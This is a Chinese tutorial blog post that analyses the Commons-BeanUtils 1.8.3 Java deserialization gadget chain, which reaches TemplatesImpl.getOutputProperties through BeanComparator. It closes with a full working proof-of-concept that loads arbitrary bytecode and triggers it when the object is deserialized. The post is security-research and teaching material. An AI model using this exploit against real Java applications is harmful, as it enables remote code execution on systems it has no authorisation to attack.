首页 > 其他分享 >CB链分析与利用超详细

CB链分析与利用超详细

时间:2024-07-02 22:29:06浏览次数:3  
标签:name 链分析 CB commons queue 详细 new import String

环境配置

commons-beanutils 1.8.3
commons-logging:commons-logging:1.2
jdk 8u71

pom.xml 添加

<dependency>  
    <groupId>commons-beanutils</groupId>  
    <artifactId>commons-beanutils</artifactId>  
    <version>1.8.3</version>  
</dependency>  
<dependency>  
    <groupId>commons-logging</groupId>  
    <artifactId>commons-logging</artifactId>  
    <version>1.2</version>  
</dependency>

Apache Commons Beanutils是Apache Common下的一个工具集下的另一个项目,提供对普通Java类对象(JavaBean)的一些操作方法

JavaBean 是一种JAVA语言写成的可重用组件,它是一个类。
所谓javaBean,是指符合如下标准的Java类:

  • 类是公共的
  • 有一个无参的公共的构造器
  • 有私有属性,且须有对应的get、set方法去设置属性
  • 对于boolean类型的成员变量,允许使用"is"代替上面的"get"和"set"

在java中,有很多类定义都符合这样的规范。一个简单的 javaBean:

package org.example;  
  
public class Main{  
    private String name = "GRYS";  
    private int age;  
  
    public String getName(){  
        return name;  
    }  
  
    public void setName(String name){  
        this.name = name;  
    }  
    public boolean isChild() {  
        return age <= 18;  
    }  
}

在 CB 中有个工具类叫PropertyUtils,它可以对 javaBean 进行一些操作

PropertyUtils类下提供了一些静态方法,以方便开发者直接调用一些getter和setter方法:

  • getProperty:返回指定Bean的指定属性的值
  • getSimpleProperty:返回指定Bean的指定属性的值
  • setProperty:设置指定Bean的指定属性的值
  • setSimpleProperty:设置指定Bean的指定属性的值
package org.example;  
import org.apache.commons.beanutils.PropertyUtils;  
  
import java.io.IOException;  
  
public class CBtest{  
    public static void main(String[] args)throws Exception {  
    CBtest cb = new CBtest();  
    cb.setName("gaoren");  
    String name1 = (String) PropertyUtils.getProperty(cb, "name");  
    PropertyUtils.setProperty(cb, "name","yusi");  
    String name2 = (String) PropertyUtils.getProperty(cb, "name");  
    System.out.println(name1);  
    System.out.println(name2);  
    }  
    private String name = "GRYS";  
    private int age;  
    public String getName(){  
        return name;  
    }  
  
    public void setName(String name){  
        this.name = name;  
    }  
    public boolean isChild() {  
        return age <= 6;  
    }  
}

这里用到的 getProperty 和 setProperty 实际上就是调用的 javaBean 中的 getter 和 setter 方法

CB 链分析

在 cc2 的基础上,cb 链寻找了个新的 compare 进行利用。在 ysoserial 中给出了最后利用的是BeanComparator.compare() 函数,前面部分和 cc2 没有什么区别。

跟进到 BeanComparator.compare() 函数,

可以看到在不满足property == null 条件后会调用 PropertyUtils.getProperty,这个我们上面说了可以调用 javaBean 的 getter 函数。

接着看,在 ysoserial 中利用其来调用了 Temlatesimpl.getOutputProperties() 方法也就是 _outputProperties 属性的 getter 方法,之前学了 Temlatesimpl 动态加载字节码,知道 getOutputProperties () 函数可以层层触发实现该目的。

所以这里让 o1 为templates对象,然后property为TemplatesImpl的 _outputProperties 属性,即可调用 TemplatesImpl.getOutputProperties() ,最后就可以进行动态加载字节码了。

poc 编写

先实例化 BeanComparator 对象,看其构造函数

我们要让 property 为 outputProperties 属性,这样调用的 getter 函数才是 getOutputProperties(),所以:

BeanComparator comparator = new BeanComparator("outputProperties");

在 ysoserial 是先调用的无参构造函数,然后通过反射修改的 property 属性

BeanComparator comparator = new BeanComparator();
setFieldValue(comparator, "property", "outputProperties");

和 cc2 不同的是因为 cc2 最后是直接由 compare 调用的 transform 方法,而这里是通过 compare 去调用 getter 方法,所以还要控制 compare 方法的参数。

溯源 o1,发现就是传入的 queue 数组,反射修改值

Object[] queue_array = new Object[]{tem,1};  
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");  
queue_field.setAccessible(true);  
queue_field.set(queue,queue_array);

最后前面照搬 cc2,后面 comparator 那里换一下就 ok 了,

最终 poc

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.beanutils.BeanComparator;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.comparators.TransformingComparator;  
import org.apache.commons.collections.functors.ConstantTransformer;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.PriorityQueue;  
public class CBtest {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(TrAXFilter.class),  
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tem})  
        };  
  
        ChainedTransformer cha = new ChainedTransformer(transformers);  
        PriorityQueue queue = new PriorityQueue(1);  
  
        BeanComparator comparator = new BeanComparator("outputProperties");  
  
        queue.add(1);  
        queue.add(1);  
  
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");  
        field.setAccessible(true);  
        field.set(queue,comparator);  
  
        Object[] queue_array = new Object[]{tem,1};  
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");  
        queue_field.setAccessible(true);  
        queue_field.set(queue,queue_array);  
  
        serilize(queue);  
        deserilize("ser.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

标签:name,链分析,CB,commons,queue,详细,new,import,String
From: https://blog.csdn.net/2301_79700060/article/details/140137929

相关文章

  • CC7分析与利用超详细
    CC7分析与利用cc7分析cc7也是接着LazyMap.get()方法向上找。这里先给出LazyMap.get()执行命令的构造:packageorg.example;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache......
  • Django框架之Cookie和Session概念,Django操作cookie,Django操作Session,CBV添加装饰器
    ⅠDjango框架之Cookie和Session概念【一】Cookie与Session的发展史Cookie和Session是用来在Web应用程序中跟踪用户会话数据的两种常用技术。【1】Cookie的发展史1994年,网景通信公司推出了第一个浏览器Cookie技术。Cookie是存储在用户计算机上的小型文本文件,用于跟踪用户......
  • 详细记录海思相机适配新的sensor(IMX585)(一)——Hi3519DV500
     一、前言这几天手里有个任务,组里买了个相机模组,soc是HI3519DV500,配的是IMX585的sensor,但是HI3519DV500的SDK中支持的sensorlist没有IMX585,需要进行适配工作。查遍了全网能找到的博客,也咨询了一些博主,进行记录。(海思的坑是真的多,组里也没人搞,所以一个人四处踩坑;衷心感谢每一......
  • 基于SpringBoot+Vue+uniapp的论文管理系统的详细设计和实现(源码+lw+部署文档+讲解等)
    文章目录前言详细视频演示具体实现截图技术栈后端框架SpringBoot前端框架Vue持久层框架MyBaitsPlus系统测试系统测试目的系统功能测试系统测试结论为什么选择我代码参考数据库参考源码获取前言......
  • Windows环境下安装nvm的详细步骤
    Windows环境下安装nvm的详细步骤nvm(NodeVersionManager)是一个用于管理多个Node.js版本的工具,它允许用户在同一台机器上安装和切换不同版本的Node.js,从而解决因版本不兼容导致的各种问题。在Windows环境下安装nvm相对简单,下面将详细介绍安装步骤。一、下载nvm安......
  • Linux——查找文件-find(详细)
    查找文件-find 作用-按照文件名、大小、时间、权限、类型、所属者、所属组来搜索文件格式find 查找路径  查找条件 具体条件 操作注意-find命令默认的操作是print输出-find是检索文件的,grep是过滤文件中字符串 参数参数         ......
  • 2025秋招计算机视觉面试题(七)-NMS详细工作机制及代码实现
    问题看到一句话:NMS都不懂,还做什么Detection!虎躯一震……懂是大概懂,但代码能写出来吗???在目标检测网络中,产生proposal后使用分类分支给出每个框的每类置信度,使用回归分支修正框的位置,最终会使用NMS方法去除同个类别当中IOU重叠度较高且scores即置信度较低的那些......
  • tensor版CBOW
    小小技能1key=['a','b','c']value=[1,2,3]vocab=dict(zip(key,value))print(vocab)运行效果:{'a':1,'b':2,'c':3}2key=['a','b','c']vocab=dict(zip(key,ran......
  • 【实用软件】Deep Freeze冰点还原8.57软件下载及详细安装教程
    ​根据行业数据显示部署和互操作性:提供将软件作为主映像的组成部分而在多个工作站上部署的选项。不同领域的应用证明了云端管理功能:一对多云端执行重新启动、关机、LAN唤醒操作,支持按需或按计划执行。根据使用者情况表明IT运维管理员甚至能够远程锁定子设备键盘和鼠标,禁止任......
  • 如何下载Studio One软件及详细安装步骤
    ​大家都知道全局视频轨道一种为图形添加声音的新方法,最新的全局视频轨道提供了直观的视频工作流程,归功于使StudioOne声名鹊起的拖放功能,需要快速编辑或简化播客工作流程?没关系,试试看视频轨道的基本编辑功能吧,请注意本功能为Pro版专享。准确来讲音频录制和编辑:StudioOne6......